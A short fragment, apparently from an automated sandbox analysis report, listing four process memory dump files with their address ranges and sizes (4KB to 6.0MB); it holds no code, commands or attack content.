                                                                                                                                                                                                                                                                                              • memory/5724-401-0x0000000004F50000-0x0000000004F51000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4KB

                                                                                                                                                                                                                                                                                              • memory/5824-499-0x0000000005240000-0x0000000005846000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB

                                                                                                                                                                                                                                                                                              • memory/5960-408-0x0000020C9AE70000-0x0000020C9AEE4000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                464KB

                                                                                                                                                                                                                                                                                              • memory/6024-466-0x0000000005500000-0x0000000005B06000-memory.dmp

                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                6.0MB